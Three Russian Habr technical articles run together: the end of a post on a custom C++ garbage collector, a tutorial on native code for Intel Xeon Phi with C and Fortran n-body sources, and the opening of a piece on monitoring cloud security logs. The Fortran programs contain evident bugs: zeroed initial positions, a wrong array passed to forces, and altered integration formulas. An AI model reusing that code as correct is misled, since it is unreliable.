void\* operator new(size\_t size, const char\* source, int line)
{
void\* res = malloc(size);
MemoryManager::ObjectInfo\* objInfo = new MemoryManager::ObjectInfo();
objInfo->object = res;
objInfo->size = size;
objInfo->mark = MemoryManager::instance.currentMark;
objInfo->source = source;
objInfo->line = line;
MemoryManager::instance.objects[res] = objInfo;
MemoryManager::instance.allocatedBytes += size;
return res;
}
void operator delete(void\* data, const char\* source, int line)
{
delete data;
}
void operator delete(void\* data)
{
auto fnd = MemoryManager::instance.objects.find(data);
if (fnd != MemoryManager::instance.objects.end())
{
MemoryManager::instance.allocatedBytes -= fnd->second->size;
for (auto ptr : fnd->second->pointers)
ptr->MarkInvalid();
delete fnd->second;
MemoryManager::instance.objects.erase(fnd);
}
free(data);
}
void MemoryManager::CollectGarbage()
{
instance.currentMark = !instance.currentMark;
for (auto ptr : instance.pointers)
{
if (ptr->IsRoot())
{
if (ptr->info)
instance.MarkObject(ptr->info);
}
}
std::vector< std::map::iterator > freeObjects;
for (auto obj = instance.objects.begin(); obj != instance.objects.end(); ++obj)
{
if (obj->second->mark != instance.currentMark)
freeObjects.push\_back(obj);
}
for (auto obj : freeObjects)
{
instance.allocatedBytes -= obj->second->size;
obj->second->destroy(obj->first);
free(obj->first);
for (auto ptr : obj->second->pointers)
ptr->MarkInvalid();
delete obj->second;
instance.objects.erase(obj);
}
}
void MemoryManager::MarkObject(ObjectInfo\* info)
{
info->mark = MemoryManager::instance.currentMark;
char\* left = (char\*)info->object;
char\* right = left + info->size;
for (auto ptr : instance.pointers)
{
char\* cptr = (char\*)ptr;
if (cptr >= left && cptr < right)
{
if (ptr->info && ptr->info->mark != MemoryManager::instance.currentMark)
MarkObject(ptr->info);
}
}
}
#define mnew new(\_\_FILE\_\_, \_\_LINE\_\_)
struct B;
struct C;
struct D;
struct A
{
Ptr **pb;
Ptr pc;
A() { printf("A()\n"); }
~A() { printf("~A()\n"); }
};
struct B
{
Ptr pc;
B() { printf("B()\n"); }
~B() { printf("~B()\n"); }
};
struct C
{
Ptr pd;
C() { printf("C()\n"); }
~C() { printf("~C()\n"); }
};
struct D
{
Ptr pc;
D() { printf("D()\n"); }
~D() { printf("~D()\n"); }
};
int main()
{
RootPtrpa = mnew A;
pa->pb = mnew B;
pa->pc = mnew C;
pa->pc->pd = mnew D;
pa->pc->pd->pc = pa->pc;
pa->pc = nullptr;
MemoryManager::CollectGarbage();
return 0;
}**
```
**Как это работает**Для каждого созданного объекта создается мета-информация **ObjectInfo** и хранится в менеджере памяти MemoryManager. Каждый такой объект создается перегруженным оператором **new**. **ObjectInfo** хранит в себе информацию о размере объекта, месте, откуда он был создан, список указателей на него и указатель на функцию для вызова деструктора этого объекта.
Для работы с объектами вместо привычных указателей используются шаблонные классы **Ptr** и **RootPtr**. **RootPtr** необходим для обозначения верхнеуровневых объектов, так как в ходе выполнения программы невозможно узнать что объект создан на стеке или статически (поправьте меня, если я не прав). При инициализации или копировании указателей происходит добавление и удаление указателей из соответствующих **ObjectInfo**.
При вызове сборки мусора меняется булевая переменная маркера на противоположную и начинается цикл отметки объектов. Цикл проходит по верхнеуровневым указателям, затем рекурсивно по их дочерним указателям. Дочерний указатель — это тот, что находится в теле объекта. После этого все объекты, у которых маркер не совпадает с текущим удаляются.
Внимательный читатель наверняка заметил еще одно — за удобство мы платим производительностью. Мы получаем все типичные минусы сборщиков мусора: излишний расход памяти и большое время работы сборки мусора. Именно на моем проекте игрового движка это фатальный минус, ведь на каждый кадр должно уходить несколько миллисекунд и просто нет времени чтобы все остановить и произвести сборку мусора. Однако, есть и хороший момент, этот сборщик мусора полностью наш и мы можем делать все что захотим!
Этап пятый: импровизация
========================
Первое что приходит в голову — это то, что мы полностью управляем моментом сборки мусора. Совсем не обязательно делать это посреди геймплея. Можно сделать это как раз тогда, когда и происходит наибольшее количество инициализаций и уничтожений объектов, во время загрузки уровней. При разработке игр не принято делать много аллокаций/уничтожений во время активной игры. Если при каждом выстреле загружать и создавать объект пули, никакая оптимизация памяти вас не спасет. Поэтому делать долгую сборку мусора между уровнями кажется довольно живучей идеей.
Следующая идея — вовсе не вызывать сборку мусора или делать это крайне редко. Объекты по-прежнему удалять вручную или умными указателями, а сборщик мусора можно использовать в роли отладчика и подстраховки. В таком варианте мы получим производительность эквивалентную ручному управлению памятью и безопасность от утечек при сборке мусора.
Таким образом мы можем использовать сборщик по-разному. При быстром прототипировании нас не заботит производительность, но нужна стабильность, в этом случае используем автоматическую сборку. В обычной ситуации стараемся вручную управлять памятью, а сборщик нам подсказывает и подстраховывает. Ну и конечно же его можно просто выключить и перейти к полностью ручному управлению.
Помимо этого можно реализовать еще немного «вкусностей». Так как мы используем шаблонные классы-указатели, мы можем проверять их на корректность, то есть при удалении объекта вручную делать все ссылки на него невалидными. И далее в нужных местах их проверять. Еще одно из возможных улучшений — это дефрагментация памяти. На этапе сборки мусора можно перерасположить актуальные объекты в памяти для уменьшения кеш-промахов процессора, что несомненно даст прирост производительности.
**Плюсы**
* защищенность от утечек и использования некорректных указателей
* минимальные затраты при работе в полуавтоматическом режиме
* максимальное удобство при полностью автоматическом режиме
**Минусы**
* усложнение синтаксиса
* необходимо понимание схемы работы и использования
* процесс сборки мусора все еще занимает значительное время
Этап шестой: возврат к началу
=============================
В конце концов на решение об отказе от сборщика повлияла специфика моего проекта. Проект планируется с открытым исходным кодом и он нацелен прежде всего на удобство использования. Усложнение и без того сложного синтаксиса С++ специфичными указателями и добавление сборщика мусора несомненно плохо повлияют на проект. Просто представьте знакомство разработчика с новой технологией: ему необходимо изучать новое API да еще и с мудреной моделью управления памятью, тем более, что большинство программистов С++ и так неплохо управляются с памятью вручную.
Окончательно я убедился в возврате к ручной модели когда принял решение использовать скрипты. Именно они нужны для простоты и удобства. Делаешь прототип или простую игру — используй скрипты, экономь время и ресурсы. Необходима гибкость и производительность — добро пожаловать в С++. Тем, кто будет использовать С++ на самом деле вряд ли понадобится сборщик мусора.
Вот так я и вернулся к началу. Надеюсь мой опыт будет полезен или хотя бы интересен другим велосипедостроителям.
P.S. Код из статьи не оптимизирован и приведен лишь для понимания работы. | https://habr.com/ru/post/282544/ | null | ru | null |
# Продолжаем знакомиться с Intel Xeon Phi: «родной» код
В [прошлой статье](http://habrahabr.ru/post/262019/) было описано знакомство с сопроцессором Intel Xeon Phi используя offload – основной код работает на хосте, а отдельные блоки выгружаются на сопроцессор. В данной заметке рассмотрим компиляцию и использование «родного» кода, с целью выяснить, что это дает и чем грозит. В завершении поста будут четыре предложения касательно использования Fortran и примеры программ.
Данная статья не является рекламой или антирекламой какого-либо программного или аппаратного продукта, а всего лишь описывает личный опыт автора.
Как и в прошлый раз, будем рассматривать задачу взаимодействия тел (n-body problem). Решение задачки на CPU возьмем из прошлой статьи, а потом, если придется, модифицируем код для запуска на MIC (далее MIC-ом будем именовать Intel Xeon Phi).
**Параллельный код с использованием OpenMP**
```
/*---------------------------------------------------------*/
/* N-Body simulation benchmark */
/* written by M.S.Ozhgibesov */
/* 04 July 2015 */
/*---------------------------------------------------------*/
#include
#include
#include
#include
#include
#include
#define HOSTLEN 50
int numProc;
// Initial conditions
void initCoord(float \*rA, float \*vA, float \*fA, \
float initDist, int nBod, int nI);
// Forces acting on each body
void forces(float \*rA, float \*fA, int nBod);
// Calculate velocities and update coordinates
void integration(float \*rA, float \*vA, float \*fA, int nBod);
int main(int argc, const char \* argv[]) {
int const nI = 32; // Number of bodies in X, Y and Z directions
int const nBod = nI\*nI\*nI; // Total Number of bodies
int const maxIter = 20; // Total number of iterations (time steps)
float const initDist = 1.0; // Initial distance between the bodies
float \*rA; // Coordinates
float \*vA; // Velocities
float \*fA; // Forces
int iter;
double startTime0, endTime0;
char host[HOSTLEN];
rA = (float\*)malloc(3\*nBod\*sizeof(float));
fA = (float\*)malloc(3\*nBod\*sizeof(float));
vA = (float\*)malloc(3\*nBod\*sizeof(float));
gethostname(host, HOSTLEN);
printf("Host name: %s\n", host);
numProc = omp\_get\_num\_procs();
printf("Available number of processors: %d\n", numProc);
// Setup initial conditions
initCoord(rA, vA, fA, initDist, nBod, nI);
startTime0 = omp\_get\_wtime();
// Main loop
for ( iter = 0; iter < maxIter; iter++ ) {
forces(rA, fA, nBod);
integration(rA, vA, fA, nBod);
}
endTime0 = omp\_get\_wtime();
printf("\nTotal time = %10.4f [sec]\n", endTime0 - startTime0);
free(rA);
free(vA);
free(fA);
return 0;
}
// Initial conditions
void initCoord(float \*rA, float \*vA, float \*fA, \
float initDist, int nBod, int nI)
{
int i, j, k;
float Xi, Yi, Zi;
float \*rAx = &rA[ 0]; //----
float \*rAy = &rA[ nBod]; // Pointers on X, Y, Z components of coordinates
float \*rAz = &rA[2\*nBod]; //----
int ii = 0;
memset(fA, 0.0, 3\*nBod\*sizeof(float));
memset(vA, 0.0, 3\*nBod\*sizeof(float));
for (i = 0; i < nI; i++) {
Xi = i\*initDist;
for (j = 0; j < nI; j++) {
Yi = j\*initDist;
for (k = 0; k < nI; k++) {
Zi = k\*initDist;
rAx[ii] = Xi;
rAy[ii] = Yi;
rAz[ii] = Zi;
ii++;
}
}
}
}
// Forces acting on each body
void forces(float \*rA, float \*fA, int nBod)
{
int i, j;
float Xi, Yi, Zi;
float Xij, Yij, Zij; // X[j] - X[i] and so on
float Rij2; // Xij^2+Yij^2+Zij^2
float invRij2, invRij6; // 1/rij^2; 1/rij^6
float \*rAx = &rA[ 0]; //----
float \*rAy = &rA[ nBod]; // Pointers on X, Y, Z components of coordinates
float \*rAz = &rA[2\*nBod]; //----
float \*fAx = &fA[ 0]; //----
float \*fAy = &fA[ nBod]; // Pointers on X, Y, Z components of forces
float \*fAz = &fA[2\*nBod]; //----
float magForce; // Force magnitude
float const EPS = 1.E-10; // Small value to prevent 0/0 if i==j
#pragma omp parallel for num\_threads(numProc) private(Xi, Yi, Zi, \
Xij, Yij, Zij, magForce, invRij2, invRij6, j, i)
for (i = 0; i < nBod; i++) {
Xi = rAx[i];
Yi = rAy[i];
Zi = rAz[i];
fAx[i] = 0.0;
fAy[i] = 0.0;
fAz[i] = 0.0;
for (j = 0; j < nBod; j++) {
Xij = rAx[j] - Xi;
Yij = rAy[j] - Yi;
Zij = rAz[j] - Zi;
Rij2 = Xij\*Xij + Yij\*Yij + Zij\*Zij;
invRij2 = Rij2/((Rij2 + EPS)\*(Rij2 + EPS));
invRij6 = invRij2\*invRij2\*invRij2;
magForce = 6.f\*invRij2\*(2.f\*invRij6 - 1.f)\*invRij6;
fAx[i]+= Xij\*magForce;
fAy[i]+= Yij\*magForce;
fAz[i]+= Zij\*magForce;
}
}
}
// Integration of coordinates an velocities
void integration(float \*rA, float \*vA, float \*fA, int nBod)
{
int i;
float const dt = 0.01; // Time step
float const mass = 1.0; // mass of a body
float const mdthalf = dt\*0.5/mass;
float \*rAx = &rA[ 0];
float \*rAy = &rA[ nBod];
float \*rAz = &rA[2\*nBod];
float \*vAx = &vA[ 0];
float \*vAy = &vA[ nBod];
float \*vAz = &vA[2\*nBod];
float \*fAx = &fA[ 0];
float \*fAy = &fA[ nBod];
float \*fAz = &fA[2\*nBod];
#pragma omp parallel for num\_threads(numProc) private(i)
for (i = 0; i < nBod; i++) {
rAx[i]+= (vAx[i] + fAx[i]\*mdthalf)\*dt;
rAy[i]+= (vAy[i] + fAy[i]\*mdthalf)\*dt;
rAz[i]+= (vAz[i] + fAz[i]\*mdthalf)\*dt;
vAx[i]+= fAx[i]\*dt;
vAy[i]+= fAy[i]\*dt;
vAz[i]+= fAz[i]\*dt;
}
}
```
Код на сопроцессоре можно запустить двумя способами:
* Скомпилировать программу целиком в «родной» (native) код для архитектуры MIC используя опцию -mmic
* Запускать отдельные подпрограммы/функции через выгрузку (offload), таким образом часть кода будет запускать на хосте, а часть на Xeon Phi
В [прошлый раз](http://habrahabr.ru/post/262019/) рассматривалась работа через выгрузку, в этот же раз попробуем собрать и запустить «родной» код для MIC.
Данный способ позволяет с минимальными изменениями запустить имеющуюся программу на сопроцессоре. Однако, необходимо учесть следующие моменты:
* MIC обычно имеет намного меньше оперативной памяти чем хост;
* Алгоритм должен иметь как можно меньше «серийных» участков;
* Количество операции ввода/вывода должно быть сведено к нулю — каждая такая операция это обращение к хосту, а это, как и в случае с CUDA, очень «дорогое» удовольствие.
Созданный исполняемый файл для MIC копируется на сопроцессор с использованием scp (Intel Xeon Phi имеет свою Linux-производную микро-ОС) и запускается.
Создание/добавление пользователя на MIC
=======================================
1. Под пользователем (пусть будет micuser), которого хотим добавить, создаем ssh ключи:
```
$ ssh-keygen
```
Запоминаем путь куда их сохранили: /home/micuser/.ssh/
2. Под рутом создаем нового пользователя для MIC:
```
$ micctrl –-useradd=micuser –-uid=500 –-gid=500 –-sshkeys=/home/micuser/.ssh/
```
где uid и gid это user ID и group ID.
Если не указать директорию с ssh ключами, то залогиниться под пользователем не выйдет – будет спрашивать пароль которого мы не знаем. [Подробное описание процесса администрирования Xeon Phi.](https://software.intel.com/sites/default/files/managed/bd/53/System_Administration_Guide_Intel%28R%29XeonPhi%28TM%29Coprocessor.pdf) [Альтернативный вариант создания пользователя на MIC](http://themerakisoul.blogspot.sg/2015/03/how-to-add-user-to-xeon-phi-co-processor.html): логинимся root-ом на сопроцессор (по умолчанию, только root имеет доступ к MIC по ssh) и создаем пользователя через useradd. Второй метод не проверял – хочется следовать официальному руководству, а не разбираться с возможными глюками.
Переходим на «МАЙК»
===================
Для проверки утверждения о том, что программу для CPU можно использовать на MIC с минимальными изменениями, воспользуемся CPU-шной версией программки, приведенной в самом начале. Компилируем для MIC, копируем и запускаем:
```
$ icc nbody_CPU.c -mmic -openmp -O3 -o nbdMIC.run
$ scp nbdMIC.run mic0:
$ ssh mic0
$ ./nbdMIC.run
./nbdMIC.run: error while loading shared libraries: libiomp5.so: cannot open shared object file: No such file or directory
```
Вообще не смешно – где-то накосячили! На самом деле, почти негде – суть в том, что Xeon Phi это отдельное устройство, со своей файловой системой и оно, по умолчанию, оно много чего не знает! Решение простое: нужно их скопировать на MIC как и исполняемую программу. Выходим на хост и копируем (отметим, что копируем не абы какую библиотеку, а собранную для MIC):
```
$ scp /opt/intel/composer_xe_2013_sp1.2.144/compiler/lib/mic/libiomp5.so mic0:/tmp/
$ ssh mic0
$ echo $LD_LIBRARY_PATH
$ export LD_LIBRARY_PATH=/tmp
$ ./nbdMIC.run
Host name: mic0.local
Available number of processors: 240
Total time = 1.0823 [sec]
```
Здесь мы видим две интересные вещи:
1. Количество доступных потоков 240 ([Intel Xeon 5110P имеет 60 физических ядер](http://ark.intel.com/products/71992/Intel-Xeon-Phi-Coprocessor-5110P-8GB-1_053-GHz-60-core)), а не 236 как при использовании выгрузки;
2. «Родной» код работает в ~1.3x раза быстрее чем выгружаемый (1.08сек против 1.44сек).
**Результаты работы программы с выгрузкой**
В случае выгрузки, [одно ядро отдается offload daemon](https://software.intel.com/en-us/articles/best-known-methods-for-using-openmp-on-intel-many-integrated-core-intel-mic-architecture) для обеспечения взаимодействия с хостом, в то время как “родной” код исполняется всеми доступными ресурсами.
Прирост скорости же имеется за счет почти полного отсутствия обмена данными между хостом и MIC (кроме того, что выводим на печать), а также за счет дополнительного вычислительного ядра(не так много, но все же).
Как было отмечено выше, сопроцессор это отдельно устройство, а следовательно скопированные библиотек, сам исполняемый файл должны где-то храниться, но сопроцессор не имеет своего SSD/HDD (по крайней мере 5110P). Куда же тогда все копируется? Ответ прост: в RAM и копируется. Таким образом, каждый скопированный файлик уменьшает размер оперативной памяти доступной для запуска программы. А если на выходе программы получается файл в пару гигабайт? Для таких целей можно смонтировать папку с хоста на MIC.
Утомительным занятием также является «выуживание» и копирование всех необходимых библиотек, к счастью имеется утилита micnativeloadex которая позволяет определить все зависимости скомпилированной программы. Описание применения данной утилиты, а также того как смонтировать директорию можно найти [здесь](https://software.intel.com/en-us/articles/building-a-native-application-for-intel-xeon-phi-coprocessors).
Четыре предложения про Fortran
==============================
В прошлой статье было описано первое знакомство с сопроцессором Intel Xeon Phi, которое происходило исключительно под C. В то же время, упоминалась возможность использования языка Fortran, однако без описания как именно это сделать, в следствие чего была получена просьба исправить ситуацию. Основная идея, что в случае использования Fortran, что языка C остается неизменной, меняется лишь синтаксис директив. Поэтому ниже приведены исключительно исходники Fortran программ.
**Fortran программа для CPU**
```
!---------------------------------------------------------!
! N-Body simulation benchmark !
! written by M.S.Ozhgibesov !
! 14 July 2015 !
!---------------------------------------------------------!
program nbody_CPU
use omp_lib
implicit none
integer, parameter:: nI = 32 ! Number of bodies in X, Y and Z directions
integer, parameter:: nBod = nI**3 ! Total Number of bodies
integer, parameter:: maxIter = 20 ! Total number of iterations (time steps)
integer:: numProc ! Number of available processors
integer:: iter
character(len=50):: host
real(4), parameter:: initDist = 1.0 ! Initial distance between the bodies
real(4), allocatable:: rA(:) ! Coordinates
real(4), allocatable:: vA(:) ! Velocities
real(4), allocatable:: fA(:) ! Forces
real(8):: startTime0, endTime0
common/ourCommonData/numProc
allocate(rA(3*nBod), vA(3*nBod), fA(3*nBod))
call hostnm(host)
write(*,'(A11,A50)')"Host name: ", host
numProc = omp_get_num_procs()
write(*,'(A32,I4)')"Available number of processors: ",numProc
! Setup initial conditions
call initCoord(rA, vA, fA, initDist, nBod, nI)
! Main loop
startTime0 = omp_get_wtime()
do iter = 1, maxIter
call forces(rA, vA, nBod)
call integration(rA, vA, fA, nBod)
enddo
endTime0 = omp_get_wtime()
write(*,'(A13,F10.4,A6)'), "Total time = ", endTime0 - startTime0," [sec]"
deallocate(rA, vA, fA)
end program
! Initial conditions
subroutine initCoord(rA, vA, fA, initDist, nBod, nI)
implicit none
integer:: i, j, k, ii
integer:: nI, nBod
integer:: initDist
integer:: numProc
real(4):: Xi, Yi,Zi
real(4):: rA(*), fA(*), vA(*)
fA(1:3*nBod) = 0.E0
vA(1:3*nBod) = 0.E0
ii = 1
do i = 1, nI
Xi = i*(initDist - 1)
do j = 1, nI
Yi = j*(initDist - 1)
do k = 1, nI
Zi = k*(initDist - 1)
rA(ii ) = Xi
rA(ii+ nBod) = Yi
rA(ii+2*nBod) = Zi
ii = ii + 1
enddo
enddo
enddo
end subroutine initCoord
! Forces acting on each body
subroutine forces(rA, fA, nBod)
use omp_lib
implicit none
integer:: i, j
integer:: nI, nBod
integer:: numProc
real(4):: Xi, Yi, Zi
real(4):: Xij, Yij, Zij ! X[j] - X[i] and so on
real(4):: Rij2 ! Xij^2+Yij^2+Zij^2
real(4):: invRij2, invRij6 ! 1/rij^2; 1/rij^6
real(4):: rA(*), fA(*)
real(4):: magForce ! Force magnitude
real(4):: fAix, fAiy, fAiz
real(4), parameter:: EPS = 1.E-10 ! Small value to prevent 0/0 if i==j
common/ourCommonData/numProc
!$OMP PARALLEL NUM_THREADS(numProc) &
!$OMP PRIVATE(Xi, Yi, Zi, Xij, Yij, Zij, magForce, invRij2, invRij6, i, j)&
!$OMP PRIVATE(fAix, fAiy, fAiz)
!$OMP DO
do i = 1, nBod
Xi = rA(i )
Yi = rA(i+ nBod)
Zi = rA(i+2*nBod)
fAix = 0.E0
fAiy = 0.E0
fAiz = 0.E0
do j = 1, nBod
Xij = rA(j ) - Xi
Yij = rA(j+ nBod) - Yi
Zij = rA(j+2*nBod) - Zi
Rij2 = Xij*Xij + Yij*Yij + Zij*Zij
invRij2 = Rij2/((Rij2 + EPS)**2)
invRij6 = invRij2*invRij2*invRij2
magForce = 6.0*invRij2*(2.0*invRij6 - 1.0)*invRij6
fAix = fAix + Xij*magForce
fAiy = fAiy + Yij*magForce
fAiz = fAiz + Zij*magForce
enddo
fA(i ) = fAix
fA(i+ nBod) = fAiy
fA(i+2*nBod) = fAiz
enddo
!$OMP END PARALLEL
end subroutine forces
subroutine integration(rA, vA, fA, nBod)
use omp_lib
implicit none
integer:: i
integer:: nI, nBod
integer:: numProc
real(4), parameter:: dt = 0.01 ! Time step
real(4), parameter:: mass = 1.0 ! mass of a body
real(4), parameter:: mdthalf = dt*0.5/mass
real(4):: rA(*), vA(*), fA(*)
common/ourCommonData/numProc
!$OMP PARALLEL NUM_THREADS(numProc) PRIVATE(i)
!$OMP DO
do i = 1, 3*nBod
rA(i) = (rA(i) + fA(i)*mdthalf)*dt
vA(i) = fA(i)*dt
enddo
!$OMP END PARALLEL
end subroutine integration
```
**Fortran программа с выгрузкой на Xeon Phi**
```
!---------------------------------------------------------!
! N-Body simulation benchmark !
! written by M.S.Ozhgibesov !
! 14 July 2015 !
!---------------------------------------------------------!
program nbody_XeonPhi
use omp_lib
implicit none
integer, parameter:: nI = 32 ! Number of bodies in X, Y and Z directions
integer, parameter:: nBod = nI**3 ! Total Number of bodies
integer, parameter:: maxIter = 20 ! Total number of iterations (time steps)
integer:: numProc
integer:: iter
character(len=50):: host
real(4), parameter:: initDist = 1.0 ! Initial distance between the bodies
real(4), allocatable:: rA(:) ! Coordinates
real(4), allocatable:: vA(:) ! Velocities
real(4), allocatable:: fA(:) ! Forces
real(8):: startTime0, endTime0
common/ourCommonData/numProc
allocate(rA(3*nBod), vA(3*nBod), fA(3*nBod))
! Mark variable numProc as needing to be allocated
! on both the host and device
!DIR$ ATTRIBUTES OFFLOAD:mic::numProc, hostnm
!DIR$ OFFLOAD BEGIN TARGET(mic) OUT(host, numProc)
call hostnm(host)
numProc = omp_get_num_procs()
!DIR$ END OFFLOAD
write(*,'(A11,A50)')"Host name: ", host
write(*,'(A32,I4)')"Available number of processors: ",numProc
! Setup initial conditions
call initCoord(rA, vA, fA, initDist, nBod, nI)
! Mark routines integration and forces as needing both
! host and coprocessor version
!DIR$ ATTRIBUTES OFFLOAD:mic::integration, forces
! Main loop
startTime0 = omp_get_wtime()
!DIR$ OFFLOAD BEGIN TARGET(mic) INOUT(rA,fA,vA:length(3*nBod))
do iter = 1, maxIter
call forces(rA, vA, nBod)
call integration(rA, vA, fA, nBod)
enddo
!DIR$ END OFFLOAD
endTime0 = omp_get_wtime()
write(*,'(A13,F10.4,A6)'), "Total time = ", endTime0 - startTime0," [sec]"
deallocate(rA, vA, fA)
end program nbody_XeonPhi
! Initial conditions
subroutine initCoord(rA, vA, fA, initDist, nBod, nI)
implicit none
integer:: i, j, k, ii
integer:: nI, nBod
integer:: initDist
integer:: numProc
real(4):: Xi, Yi,Zi
real(4):: rA(*), fA(*), vA(*)
fA(1:3*nBod) = 0.D0
vA(1:3*nBod) = 0.D0
ii = 1
do i = 1, nI
Xi = i*(initDist - 1)
do j = 1, nI
Yi = j*(initDist - 1)
do k = 1, nI
Zi = k*(initDist - 1)
rA(ii ) = Xi
rA(ii+ nBod) = Yi
rA(ii+2*nBod) = Zi
ii = ii + 1
enddo
enddo
enddo
end subroutine initCoord
! Forces acting on each body
!DIR$ ATTRIBUTES OFFLOAD:mic:: forces
subroutine forces(rA, fA, nBod)
implicit none
integer:: i, j
integer:: nI, nBod
integer:: numProc
real(4):: Xi, Yi, Zi
real(4):: Xij, Yij, Zij ! X[j] - X[i] and so on
real(4):: Rij2 ! Xij^2+Yij^2+Zij^2
real(4):: invRij2, invRij6 ! 1/rij^2; 1/rij^6
real(4):: rA(*), fA(*)
real(4):: magForce ! Force magnitude
real(4):: fAix, fAiy, fAiz
real(4), parameter:: EPS = 1.E-10 ! Small value to prevent 0/0 if i==j
common/ourCommonData/numProc
!$OMP PARALLEL NUM_THREADS(numProc) &
!$OMP PRIVATE(Xi, Yi, Zi, Xij, Yij, Zij, magForce, invRij2, invRij6, i, j)&
!$OMP PRIVATE(fAix, fAiy, fAiz)
!$OMP DO
do i = 1, nBod
Xi = rA(i )
Yi = rA(i+ nBod)
Zi = rA(i+2*nBod)
fAix = 0.E0
fAiy = 0.E0
fAiz = 0.E0
do j = 1, nBod
Xij = rA(j ) - Xi
Yij = rA(j+ nBod) - Yi
Zij = rA(j+2*nBod) - Zi
Rij2 = Xij*Xij + Yij*Yij + Zij*Zij
invRij2 = Rij2/((Rij2 + EPS)**2)
invRij6 = invRij2*invRij2*invRij2
magForce = 6.0*invRij2*(2.0*invRij6 - 1.0)*invRij6
fAix = fAix + Xij*magForce
fAiy = fAiy + Yij*magForce
fAiz = fAiz + Zij*magForce
enddo
fA(i ) = fAix
fA(i+ nBod) = fAiy
fA(i+2*nBod) = fAiz
enddo
!$OMP END PARALLEL
end subroutine forces
!DIR$ ATTRIBUTES OFFLOAD:mic::integration
subroutine integration(rA, vA, fA, nBod)
implicit none
integer:: i
integer:: nI, nBod
integer:: numProc
real(4), parameter:: dt = 0.01 ! Time step
real(4), parameter:: mass = 1.0 ! mass of a body
real(4), parameter:: mdthalf = dt*0.5/mass
real(4):: rA(*), vA(*), fA(*)
common/ourCommonData/numProc
!$OMP PARALLEL NUM_THREADS(numProc) PRIVATE(i)
!$OMP DO
do i = 1, 3*nBod
rA(i) = (rA(i) + fA(i)*mdthalf)*dt
vA(i) = fA(i)*dt
enddo
!$OMP END PARALLEL
end subroutine integration
```
Вместо заключения
=================
Работа с «родным» кодом, в некотором роде, даже проще чем с выгрузкой – можно использовать имеющуюся для CPU программу, более того, «родная» программа заработала даже быстрее чем offload. В то же время следует учитывать, что если программа зависит от сторонних библиотек, то их придется перекомпилировать для MIC или же искать альтернативу. Также, следует учитывать, что любые скопированные на сопроцессор файлы хранятся в RAM, которой и так не много.
В одном из комментариев к прошлой статье был поднят вопрос сравнения производительности Xeon Phi и CUDA GPU, с одной стороны все зависит от задачи, а с другой стороны интересно же сравнить. В следующей статье посмотрим кто же быстрее, а также попробуем объединить усилия девайсов. | https://habr.com/ru/post/263121/ | null | ru | null |
# Мониторинг безопасности облаков
Перенос данных и приложений в облака представляет собой новую проблему для корпоративных SOCов, которые не всегда готовы к мониторингу чужой инфраструктуры. По данным Netoskope среднее предприятие (видимо все-таки в США) использует 1246 различных облачных сервиса, что на 22% больше, чем год назад. 1246 облачных сервисов!!! 175 из них касаются HR-сервисов, 170 связано с маркетингом, 110 — в области коммуникаций и 76 в финансах и CRM. В Cisco используется “всего” 700 внешних облачных сервисов. Поэтому меня немного смущают эти цифры. Но в любом случае проблема не в них, а в том, что облака достаточно активно начинают применяться все большим числом компаний, которые хотели бы иметь те же возможности по мониторингу облачной инфраструктуры, как и в собственной сети. И эта тенденция нарастает — по [данным американской счетной палаты](https://www.gao.gov/assets/700/698448.pdf) к 2023 г. в США собираются закрыть 1200 ЦОДов (6250 уже закрылись). Но переход к облаку — это не просто “а давайте перенесем наши сервера к внешнему провайдеру». Новая ИТ-архитектура, новое программное обеспечение, новые процессы, новые ограничения… Все это вносит существенные изменения в работу не только ИТ, но и ИБ. И если с обеспечением безопасности самого облака провайдеры научились как-то справляться (благо рекомендаций достаточно много), то с облачным мониторингом ИБ, особенно на SaaS-платформах, есть существенные сложности, о которых мы и поговорим.
Допустим, ваша компания перенесла часть своей инфраструктуры в облако… Стоп. Не так. Если инфраструктура перенесена, а вы только сейчас задумываетесь о том, как будете ее мониторить, то вы уже проиграли. Если это не Amazon, Google или Microsoft (и то с оговорками), то вероятно у вас не будет много возможностей по мониторингу ваших данных и приложений. Хорошо, если вам дадут возможность работать с логами. Иногда данные о событиях безопасности будут доступны, но у вас к ним не будет доступа. Например, Office 365. Если у вас самая дешевая лицензия E1, то события безопасности вам вообще недоступны. При наличии лицензии E3 у вас данные хранятся всего за 90 дней и только при наличии E5 — длительность логов доступна в течение года (правда, тут тоже есть свои нюансы, связанные с необходимостью отдельно запрашивать ряд функций по работе с логами у поддержки Microsoft). Кстати, лицензия E3 гораздо слабее в части функций мониторинга, чем корпоративный Exchange. Чтобы добиться того же уровня, вам нужна лицензия E5 или дополнительная лицензия Advanced Compliance, которые могут потребовать дополнительных денег, которые не были учтены в вашей финансовой модели перехода к облачной инфраструктуре. И это только один пример недооценки вопросов, связанных с мониторингом ИБ облаков. В этой статье я, не претендуя на полноту изложения, хочу обратить внимания на некоторые нюансы, которые стоит учесть при выборе облачного провайдера с точки зрения безопасности. А в конце статьи будет дан чеклист, который стоит выполнить, прежде чем считать, что вопрос мониторинга облачной ИБ у вас решен.
Можно выделить несколько типичных проблем, приводящих к инцидентам в облачных средах, реагировать на которые службы ИБ не успевают или вообще не видят их:
* Логи безопасности не существуют. Это достаточно распространенная ситуация, особенно у начинающих игроков рынка облачных решений. Но и ставить крест на них сразу не стоит. Небольшие игроки, особенно отечественные, более чутки к требованиям заказчиков и могут оперативно реализовать какие-то востребованные функции, изменив утвержденный роадмап на свои продукты. Да, это не будет аналогом GuardDuty от Amazon или модулем “Проактивной защиты” от Битрикс, но хоть что-то.
* ИБ не знает, где хранятся логи или к ним нет доступа. Тут необходимо вступать в переговоры с поставщиком облачных услуг — возможно, он и предоставит такую информацию, если посчитает клиента значимым для себя. Но в целом, это не очень хорошо, когда доступ к логам предоставляется “по особому решению”.
* Бывает и так, что логи у облачного провайдера есть, но они обеспечивают ограниченный мониторинг и регистрацию событий, недостаточные для обнаружения всех инцидентов. Например, вам могут отдать только логи изменений на сайте или логи попыток аутентификации пользователей, но иные события, например, о сетевом трафике, не отдавать, что скроет от вас целый пласт событий, характеризующих попытки взлома вашей облачной инфраструктуры.
* Логи есть, но доступ к ним сложно автоматизировать, что заставляет их мониторить не непрерывно, а по расписанию. А если еще загрузить логи нельзя в автоматическом режиме, то выгрузка логов, например, в формате Excel (как у ряда отечественных поставщиков облачных решений), может и вовсем привести к нежеланию возиться с ними со стороны корпоративной службы ИБ.
* Нет мониторинга логов. Это, пожалуй, самая непонятная причина возникновения инцидентов ИБ в облачных средах. Вроде и логи есть, и автоматизировать доступ к ним можно, а никто этого не делает. Почему?
Концепция разделяемой безопасности облака
-----------------------------------------
